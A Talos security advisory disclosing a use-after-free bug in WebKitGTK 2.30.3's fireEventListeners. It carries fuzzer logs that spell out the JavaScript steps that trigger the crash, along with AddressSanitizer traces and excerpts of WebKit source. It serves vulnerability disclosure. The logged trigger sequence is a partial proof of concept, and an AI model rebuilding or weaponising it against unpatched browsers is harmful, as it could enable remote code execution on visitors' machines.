Talos Vulnerability Report

TALOS-2020-1214

Webkit fireEventListeners use-after-free vulnerability

JUNE 2, 2020

CVE NUMBER

CVE-2021-21806

Summary

An exploitable use-after-free vulnerability exists in WebKitGTK browser version 2.30.3 x64. A specially crafted HTML web page can cause a use-after-free condition, resulting in remote code execution. The victim needs to visit a malicious web site to trigger the vulnerability.

Tested Versions

Webkit WebKitGTK 2.30.3

Product URLs

https://webkit.org/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

WebKit is an open-source web content engine for browsers and other applications.

The vulnerabiliy is related with `scriptExecutionContext`, being more precise, the way it handles `Document` object reference in the implementation of the `fireEventListeners` function. A malicious web page can lead to a use-after-free vulnerability and potential remote code execution. Please notice that for fuzzing purposes Webkit has been compiled with `modernUnprefixedWebAudioEnabled` flag set to true. To understand the vulnerability let's analyze some parts of the poc.html file and the console output generated by it. Running the poc in Minibrowser we can observe the following output till crash:

```
Line 1          http://127.0.0.1/webaudio_fuzzer/0.html:639:28: CONSOLE LOG Start fuzzing
Line 2          http://127.0.0.1/webaudio_fuzzer/0.html:497:28: CONSOLE LOG Context created
Line 3          http://127.0.0.1/webaudio_fuzzer/0.html:527:28: CONSOLE LOG Nodes created
Line 4          http://127.0.0.1/webaudio_fuzzer/0.html:622:28: CONSOLE LOG Mutation nodes amount :  7
Line 5          http://127.0.0.1/webaudio_fuzzer/0.html:551:28: CONSOLE LOG Connecting nodes
Line 6          http://127.0.0.1/webaudio_fuzzer/0.html:555:28: CONSOLE LOG Nodes connected
Line 7          http://127.0.0.1/webaudio_fuzzer/0.html:575:44: CONSOLE LOG [GENERIC] name : OscillatorNode  eventName : onended handler
name : eventhandler3
Line 8          http://127.0.0.1/webaudio_fuzzer/0.html:569:44: CONSOLE LOG [CUSTOM] name : ScriptProcessorNode  eventName : onaudioprocess
Line 9          http://127.0.0.1/webaudio_fuzzer/0.html:575:44: CONSOLE LOG [GENERIC] name : AudioContext  eventName : onstatechange handler
name : eventhandler4
Line 10         http://127.0.0.1/webaudio_fuzzer/0.html:39:24:  CONSOLE LOG [ 10:10:19 AM ] :: OscillatorNode_handler
Line 11         http://127.0.0.1/webaudio_fuzzer/0.html:39:24:  CONSOLE LOG [ 10:10:19 AM ] :: AudioContext_handler
Line 12         http://127.0.0.1/webaudio_fuzzer/0.html:631:28: CONSOLE LOG Fuzzzing time!
Line 13         http://127.0.0.1/webaudio_fuzzer/0.html:39:24:  CONSOLE LOG [ 10:10:19 AM ] :: ScriptProcessorNode_oncomplete
Line 14         http://127.0.0.1/webaudio_fuzzer/0.html:453:28: CONSOLE LOG eventhandler4
Line 15         http://127.0.0.1/webaudio_fuzzer/0.html:409:28: CONSOLE LOG ========================= DEBUG ========================== :
statechange
Line 16         http://127.0.0.1/webaudio_fuzzer/0.html:409:28: CONSOLE LOG    var00048 = new MutationObserver(eventhandler2);
Line 17         http://127.0.0.1/webaudio_fuzzer/0.html:461:28: CONSOLE LOG    var00048.observe(audioElement,var00049);
Line 18         http://127.0.0.1/webaudio_fuzzer/0.html:466:28: CONSOLE LOG    audioElement.setAttribute("data", "foo");
Line 19         http://127.0.0.1/webaudio_fuzzer/0.html:468:28: CONSOLE LOG END eventhandler4
Line 20         http://127.0.0.1/webaudio_fuzzer/0.html:422:28: CONSOLE LOG eventhandler2
Line 21         http://127.0.0.1/webaudio_fuzzer/0.html:389:28: CONSOLE LOG Mutation type :  attributes
Line 22         http://127.0.0.1/webaudio_fuzzer/0.html:403:32: CONSOLE LOG data
Line 23         http://127.0.0.1/webaudio_fuzzer/0.html:428:28: CONSOLE LOG    var00002 = new
DOMParser().parseFromString(audioElement.outerHTML,
Line 24         http://127.0.0.1/webaudio_fuzzer/0.html:430:28: CONSOLE LOG    html element index :  2
Line 25         http://127.0.0.1/webaudio_fuzzer/0.html:431:28: CONSOLE LOG    var00002.scrollingElement  :  [object HTMLBodyElement]
Line 26         http://127.0.0.1/webaudio_fuzzer/0.html:432:28: CONSOLE LOG    document.all[elementIndex] :  [object HTMLMetaElement]
Line 27         http://127.0.0.1/webaudio_fuzzer/0.html:434:28: CONSOLE LOG
document.all[elementIndex].appendChild(var00002.scrollingElement);
Line 28         http://127.0.0.1/webaudio_fuzzer/0.html:437:28: CONSOLE LOG    audioElement.style.setProperty("animation", "anim 1s linear
0s");
Line 29         http://127.0.0.1/webaudio_fuzzer/0.html:439:28: CONSOLE LOG END eventhandler2
(...)
Line 54         http://127.0.0.1/webaudio_fuzzer/0.html:162:28: CONSOLE LOG fuzz_nodes
Line 55         http://127.0.0.1/webaudio_fuzzer/0.html:166:28: CONSOLE LOG    document.body.innerHTML = "";
Line 56         http://127.0.0.1/webaudio_fuzzer/0.html:168:28: CONSOLE LOG    audioElement.mediaGroup = "b00m!!!!";
Line 57         =================================================================
Line 58         ==41058==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e0001ac530 at pc 0x7fed494e4db2 bp 0x7ffc7d8b7c90 sp
0x7ffc7d8b7c88
```

As we can see at `Line 17` the `MutationObserver` object is created which will monitor for any modifications related with `audioElement`. The events generated by these modifications will be handled inside `eventhandler2`. One of that type of modifications we can see at the end of `eventhandler4` at `line 18`. Inside `eventhandler2`, each time the DOM tree is modified in that way that, the `HTMLBodyElement` created via DOMParser is inserted in "random" places. That happens many times and its caused among the others by `line 28` but to simplify our

analysis I have presented just one cycle. When `eventhandler2` is being executed on and on, simultaneously `fuzz_node` get called where: - document.body is cleared, `line 55` what caused in DOM tree relocations, object release,etc. - `line 56` where `mediaGroup` property of `audioElement` is being modified which will later turn out to be crucial to trigger the vulnerability.

When the `mediaGroup` property is modified not only is `eventhandler2` re-triggered again but one of the special event handlers is being called to handle “Media group elements”. Frame `#5` in the call stack below:

```
==41058==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e0001ac530 at pc 0x7fed494e4db2 bp 0x7ffc7d8b7c90 sp 0x7ffc7d8b7c88
READ of size 8 at 0x61e0001ac530 thread T0
        #0 0x7fed494e4db1 in WTF::TypeCastTraits<WebCore::Document const, WebCore::ScriptExecutionContext const,
false>::isType(WebCore::ScriptExecutionContext const&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/Document.h:2188:89
        #1 0x7fed494e4db1 in WTF::TypeCastTraits<WebCore::Document const, WebCore::ScriptExecutionContext const,
false>::isOfType(WebCore::ScriptExecutionContext const&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/Document.h:2187:1
        #2 0x7fed494e4db1 in bool WTF::is<WebCore::Document, WebCore::ScriptExecutionContext>(WebCore::ScriptExecutionContext*)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/DerivedSources/ForwardingHeaders/wtf/TypeCasts.h:65:22
        #3 0x7fed494e4db1 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebCore/dom/EventTarget.cpp:262:9
        #4 0x7fed494ef319 in WebCore::EventTarget::dispatchEvent(WebCore::Event&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/EventTarget.cpp:221:5
        #5 0x7fed49e387ef in WebCore::MediaController::asyncEventTimerFired() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/html/MediaController.cpp:549:9
        #6 0x7fed4ace8359 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/platform/ThreadTimers.cpp:127:23
        #7 0x7fed4319f738 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:177:16
        #8 0x7fed4319f738 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:169:43
        #9 0x7fed4319ccbc in WTF::RunLoop::$_0::operator()(_GSource*, int (*)(void*), void*) const
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:53:28
        #10 0x7fed4319ccbc in WTF::RunLoop::$_0::__invoke(_GSource*, int (*)(void*), void*) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:45:5
        #11 0x7fed3735f284 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c284)
        #12 0x7fed3735f64f  (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c64f)
        #13 0x7fed3735f961 in g_main_loop_run (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c961)
        #14 0x7fed4319e1c6 in WTF::RunLoop::run() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:108:9
        #15 0x7fed46b09ecc in int WebKit::AuxiliaryProcessMain<WebKit::WebProcess, WebKit::WebProcessMainGtk>(int, char**)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebKit/Shared/AuxiliaryProcessMain.h:68:5
        #16 0x7fed33544b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
        #17 0x41ccd9 in _start (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/libexec/webkit2gtk-
4.0/WebKitWebProcess+0x41ccd9)
```

“Direct” execution of this event handler seems to ommit some check and because of that a use-after-free vulnerability appears inside the `fireEventListeners` method:

```
Source/WebCore/dom/EventTarget
Line 252        void EventTarget::fireEventListeners(Event& event, EventInvokePhase phase)
Line 253        {
Line 254                ASSERT_WITH_SECURITY_IMPLICATION(ScriptDisallowedScope::isEventAllowedInMainThread());
Line 255                ASSERT(event.isInitialized());
Line 256
Line 257                if (is<Document>(scriptExecutionContext())) {
Line 258                        auto* page = downcast<Document>(*scriptExecutionContext()).page();
Line 259                        if (page && !page->shouldFireEvents()) {
Line 260                                RELEASE_LOG_IF(page->isAlwaysOnLoggingAllowed(), Events, "%p - EventTarget::fireEventListeners: Not
firing %{public}s event because events are temporarily disabled for this page", this, event.type().string().utf8().data());
Line 261                                return;
Line 262                        }
Line 263                }
Line 264
```

The object returned by `scriptExecutionContext` is already free when we call it. Proper heap grooming can give an attacker full control of this use-after-free vulnerability and as a result could allow this vulnerability to be turned into arbitrary code execution.

Crash Information

```
icewall@ubuntu:~/tools/fuzzing/browsers/webkitgtk-2.30.3/build/bin$ ./MiniBrowser --autoplay-policy=allow --enable-write-console-messages-
to-stdout=true http://127.0.0.1/webaudio_fuzzer/0.html
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled.
http://127.0.0.1/webaudio_fuzzer/0.html:639:28: CONSOLE LOG Start fuzzing
http://127.0.0.1/webaudio_fuzzer/0.html:651:28: CONSOLE LOG SEED :  184960806692
http://127.0.0.1/webaudio_fuzzer/0.html:497:28: CONSOLE LOG Context created
http://127.0.0.1/webaudio_fuzzer/0.html:519:28: CONSOLE LOG G state :  847297323
http://127.0.0.1/webaudio_fuzzer/0.html:527:28: CONSOLE LOG Nodes created
http://127.0.0.1/webaudio_fuzzer/0.html:621:28: CONSOLE LOG [object Object]
http://127.0.0.1/webaudio_fuzzer/0.html:622:28: CONSOLE LOG Mutation nodes amount :  7
http://127.0.0.1/webaudio_fuzzer/0.html:551:28: CONSOLE LOG Connecting nodes
http://127.0.0.1/webaudio_fuzzer/0.html:555:28: CONSOLE LOG Nodes connected
http://127.0.0.1/webaudio_fuzzer/0.html:575:44: CONSOLE LOG [GENERIC] name : OscillatorNode  eventName : onended handler name :
eventhandler3
http://127.0.0.1/webaudio_fuzzer/0.html:569:44: CONSOLE LOG [CUSTOM] name : ScriptProcessorNode  eventName : onaudioprocess
http://127.0.0.1/webaudio_fuzzer/0.html:575:44: CONSOLE LOG [GENERIC] name : AudioContext  eventName : onstatechange handler name :
eventhandler4
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: OscillatorNode_handler
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: AudioContext_handler
http://127.0.0.1/webaudio_fuzzer/0.html:631:28: CONSOLE LOG Fuzzzing time!
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  88984052
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1710124953
http://127.0.0.1/webaudio_fuzzer/0.html:453:28: CONSOLE LOG eventhandler4
http://127.0.0.1/webaudio_fuzzer/0.html:409:28: CONSOLE LOG ========================= DEBUG ========================= :  statechange
http://127.0.0.1/webaudio_fuzzer/0.html:409:28: CONSOLE LOG ========================= DEBUG ========================= :  [object
AudioContext]
http://127.0.0.1/webaudio_fuzzer/0.html:461:28: CONSOLE LOG    var00048.observe(audioElement,var00049);
http://127.0.0.1/webaudio_fuzzer/0.html:466:28: CONSOLE LOG    audioElement.setAttribute("data", "foo");
http://127.0.0.1/webaudio_fuzzer/0.html:468:28: CONSOLE LOG END eventhandler4
http://127.0.0.1/webaudio_fuzzer/0.html:422:28: CONSOLE LOG eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:389:28: CONSOLE LOG Mutation type :  attributes
http://127.0.0.1/webaudio_fuzzer/0.html:403:32: CONSOLE LOG data
http://127.0.0.1/webaudio_fuzzer/0.html:428:28: CONSOLE LOG    var00002 = new DOMParser().parseFromString(audioElement.outerHTML,
http://127.0.0.1/webaudio_fuzzer/0.html:430:28: CONSOLE LOG    html element index :  2
http://127.0.0.1/webaudio_fuzzer/0.html:431:28: CONSOLE LOG    var00002.scrollingElement  :  [object HTMLBodyElement]
http://127.0.0.1/webaudio_fuzzer/0.html:432:28: CONSOLE LOG    document.all[elementIndex] :  [object HTMLMetaElement]
http://127.0.0.1/webaudio_fuzzer/0.html:434:28: CONSOLE LOG    document.all[elementIndex].appendChild(var00002.scrollingElement);
http://127.0.0.1/webaudio_fuzzer/0.html:437:28: CONSOLE LOG    audioElement.style.setProperty("animation", "anim 1s linear 0s");
http://127.0.0.1/webaudio_fuzzer/0.html:439:28: CONSOLE LOG END eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:422:28: CONSOLE LOG eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:389:28: CONSOLE LOG Mutation type :  attributes
http://127.0.0.1/webaudio_fuzzer/0.html:403:32: CONSOLE LOG style
http://127.0.0.1/webaudio_fuzzer/0.html:428:28: CONSOLE LOG    var00002 = new DOMParser().parseFromString(audioElement.outerHTML,
http://127.0.0.1/webaudio_fuzzer/0.html:430:28: CONSOLE LOG    html element index :  21
http://127.0.0.1/webaudio_fuzzer/0.html:431:28: CONSOLE LOG    var00002.scrollingElement  :  [object HTMLBodyElement]
http://127.0.0.1/webaudio_fuzzer/0.html:432:28: CONSOLE LOG    document.all[elementIndex] :  [object HTMLTrackElement]
http://127.0.0.1/webaudio_fuzzer/0.html:434:28: CONSOLE LOG    document.all[elementIndex].appendChild(var00002.scrollingElement);
http://127.0.0.1/webaudio_fuzzer/0.html:437:28: CONSOLE LOG    audioElement.style.setProperty("animation", "anim 1s linear 0s");
http://127.0.0.1/webaudio_fuzzer/0.html:439:28: CONSOLE LOG END eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  148953623
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1805878221
http://127.0.0.1/webaudio_fuzzer/0.html:162:28: CONSOLE LOG fuzz_nodes
http://127.0.0.1/webaudio_fuzzer/0.html:166:28: CONSOLE LOG    document.body.innerHTML = "";
http://127.0.0.1/webaudio_fuzzer/0.html:168:28: CONSOLE LOG    audioElement.mediaGroup = "b00m!!!!";
http://127.0.0.1/webaudio_fuzzer/0.html:422:28: CONSOLE LOG eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:389:28: CONSOLE LOG Mutation type :  attributes
http://127.0.0.1/webaudio_fuzzer/0.html:403:32: CONSOLE LOG mediagroup
http://127.0.0.1/webaudio_fuzzer/0.html:428:28: CONSOLE LOG    var00002 = new DOMParser().parseFromString(audioElement.outerHTML,
http://127.0.0.1/webaudio_fuzzer/0.html:430:28: CONSOLE LOG    html element index :  8
http://127.0.0.1/webaudio_fuzzer/0.html:431:28: CONSOLE LOG    var00002.scrollingElement  :  [object HTMLBodyElement]
http://127.0.0.1/webaudio_fuzzer/0.html:432:28: CONSOLE LOG    document.all[elementIndex] :  [object HTMLScriptElement]
http://127.0.0.1/webaudio_fuzzer/0.html:434:28: CONSOLE LOG    document.all[elementIndex].appendChild(var00002.scrollingElement);
http://127.0.0.1/webaudio_fuzzer/0.html:437:28: CONSOLE LOG    audioElement.style.setProperty("animation", "anim 1s linear 0s");
http://127.0.0.1/webaudio_fuzzer/0.html:439:28: CONSOLE LOG END eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:162:28: CONSOLE LOG fuzz_nodes
http://127.0.0.1/webaudio_fuzzer/0.html:166:28: CONSOLE LOG    document.body.innerHTML = "";
http://127.0.0.1/webaudio_fuzzer/0.html:168:28: CONSOLE LOG    audioElement.mediaGroup = "b00m!!!!";
http://127.0.0.1/webaudio_fuzzer/0.html:422:28: CONSOLE LOG eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:389:28: CONSOLE LOG Mutation type :  attributes
http://127.0.0.1/webaudio_fuzzer/0.html:403:32: CONSOLE LOG mediagroup
http://127.0.0.1/webaudio_fuzzer/0.html:428:28: CONSOLE LOG    var00002 = new DOMParser().parseFromString(audioElement.outerHTML,
http://127.0.0.1/webaudio_fuzzer/0.html:430:28: CONSOLE LOG    html element index :  2
http://127.0.0.1/webaudio_fuzzer/0.html:431:28: CONSOLE LOG    var00002.scrollingElement  :  [object HTMLBodyElement]
http://127.0.0.1/webaudio_fuzzer/0.html:432:28: CONSOLE LOG    document.all[elementIndex] :  [object HTMLMetaElement]
http://127.0.0.1/webaudio_fuzzer/0.html:434:28: CONSOLE LOG    document.all[elementIndex].appendChild(var00002.scrollingElement);
http://127.0.0.1/webaudio_fuzzer/0.html:437:28: CONSOLE LOG    audioElement.style.setProperty("animation", "anim 1s linear 0s");
http://127.0.0.1/webaudio_fuzzer/0.html:439:28: CONSOLE LOG END eventhandler2
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  1008877296
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  959222793
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:19 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  497743922
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1205993880
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:20 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  1188480774
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1222972372
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:20 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  930670767
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1193680575
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:20 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  397193751
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1982924419
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:20 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  211992340
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  893100398
http://127.0.0.1/webaudio_fuzzer/0.html:39:24: CONSOLE LOG [ 10:10:20 AM ] :: ScriptProcessorNode_oncomplete
http://127.0.0.1/webaudio_fuzzer/0.html:146:28: CONSOLE LOG GS :  1575180303
http://127.0.0.1/webaudio_fuzzer/0.html:149:28: CONSOLE LOG GS :  1514371635
=================================================================
==41058==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e0001ac530 at pc 0x7fed494e4db2 bp 0x7ffc7d8b7c90 sp 0x7ffc7d8b7c88
READ of size 8 at 0x61e0001ac530 thread T0
        #0 0x7fed494e4db1 in WTF::TypeCastTraits<WebCore::Document const, WebCore::ScriptExecutionContext const,
false>::isType(WebCore::ScriptExecutionContext const&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/Document.h:2188:89
        #1 0x7fed494e4db1 in WTF::TypeCastTraits<WebCore::Document const, WebCore::ScriptExecutionContext const,
false>::isOfType(WebCore::ScriptExecutionContext const&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/Document.h:2187:1
        #2 0x7fed494e4db1 in bool WTF::is<WebCore::Document, WebCore::ScriptExecutionContext>(WebCore::ScriptExecutionContext*)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/DerivedSources/ForwardingHeaders/wtf/TypeCasts.h:65:22
```

```
        #3 0x7fed494e4db1 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebCore/dom/EventTarget.cpp:262:9
        #4 0x7fed494ef319 in WebCore::EventTarget::dispatchEvent(WebCore::Event&) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/dom/EventTarget.cpp:221:5
        #5 0x7fed49e387ef in WebCore::MediaController::asyncEventTimerFired() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/html/MediaController.cpp:549:9
        #6 0x7fed4ace8359 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/platform/ThreadTimers.cpp:127:23
        #7 0x7fed4319f738 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:177:16
        #8 0x7fed4319f738 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:169:43
        #9 0x7fed4319ccbc in WTF::RunLoop::$_0::operator()(_GSource*, int (*)(void*), void*) const
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:53:28
        #10 0x7fed4319ccbc in WTF::RunLoop::$_0::__invoke(_GSource*, int (*)(void*), void*) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:45:5
        #11 0x7fed3735f284 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c284)
        #12 0x7fed3735f64f  (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c64f)
        #13 0x7fed3735f961 in g_main_loop_run (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c961)
        #14 0x7fed4319e1c6 in WTF::RunLoop::run() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WTF/wtf/glib/RunLoopGLib.cpp:108:9
        #15 0x7fed46b09ecc in int WebKit::AuxiliaryProcessMain<WebKit::WebProcess, WebKit::WebProcessMainGtk>(int, char**)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebKit/Shared/AuxiliaryProcessMain.h:68:5
        #16 0x7fed33544b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
        #17 0x41ccd9 in _start (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/libexec/webkit2gtk-
4.0/WebKitWebProcess+0x41ccd9)

0x61e0001ac530 is located 176 bytes inside of 2448-byte region [0x61e0001ac480,0x61e0001ace10)
freed by thread T0 here:
        #0 0x49495d in free (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/libexec/webkit2gtk-4.0/WebKitWebProcess+0x49495d)
        #1 0x7fed4109a1c5 in JSC::Subspace::destroy(JSC::VM&, JSC::JSCell*) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/heap/Subspace.cpp:65:21
        #2 0x7fed4109a1c5 in JSC::PreciseAllocation::sweep() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/heap/PreciseAllocation.cpp:230:25
        #3 0x7fed41002500 in JSC::Heap::sweepInFinalize() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/heap/Heap.cpp:2150:19
        #4 0x7fed41002500 in JSC::Heap::finalize() /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/heap/Heap.cpp:2095:9
        #5 0x7fed410010d5 in JSC::Heap::handleNeedFinalize(unsigned int) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/heap/Heap.cpp:2016:9

previously allocated by thread T0 here:
        #0 0x494bdd in malloc (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/libexec/webkit2gtk-4.0/WebKitWebProcess+0x494bdd)
        #1 0x7fed431bf8ca in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/bmalloc/bmalloc/DebugHeap.cpp:98:20
        #2 0x7fed4c4dba45 in WebCore::DOMParser::parseFromString(WTF::String const&, WTF::String const&)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/WebCore/xml/DOMParser.cpp:41:21
        #3 0x7fed4ca7abb4 in WebCore::jsDOMParserPrototypeFunctionParseFromStringBody(JSC::JSGlobalObject*, JSC::CallFrame*,
WebCore::JSDOMParser*) /home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/DerivedSources/WebCore/JSDOMParser.cpp:225:5
        #4 0x7fed4ca7abb4 in long WebCore::IDLOperation<WebCore::JSDOMParser>::call<&
(WebCore::jsDOMParserPrototypeFunctionParseFromStringBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSDOMParser*)),
(WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/WebCore/bindings/js/JSDOMOperation.h:53:9
        #5 0x7fed4ca7abb4 in WebCore::jsDOMParserPrototypeFunctionParseFromString(JSC::JSGlobalObject*, JSC::CallFrame*)
/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/DerivedSources/WebCore/JSDOMParser.cpp:230:12
        #6 0x7fece824b177  (<unknown module>)
        #7 0x7fed42fe5ea8  (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/lib/libjavascriptcoregtk-4.0.so.18+0x4617ea8)
        #8 0x7fed42fcc568  (/home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/build/lib/libjavascriptcoregtk-4.0.so.18+0x45fe568)
        #9 0x7fed41385f04 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) /home/icewall/tools/fuzzing/browsers/webkitgtk-
2.30.3/Source/JavaScriptCore/jit/JITCodeInlines.h:42:38
        #10 0x7fed41385f04 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue,
JSC::ArgList const&) /home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/JavaScriptCore/interpreter/Interpreter.cpp:904:27
        #11 0x7fed41ddc1a9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&,
WTF::NakedPtr<JSC::Exception>&) /home/icewall/tools/fuzzing/browsers/webkitgtk-2.30.3/Source/JavaScriptCore/runtime/CallData.cpp:64:22
        #12 0x7fed41ddc1a9 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&,
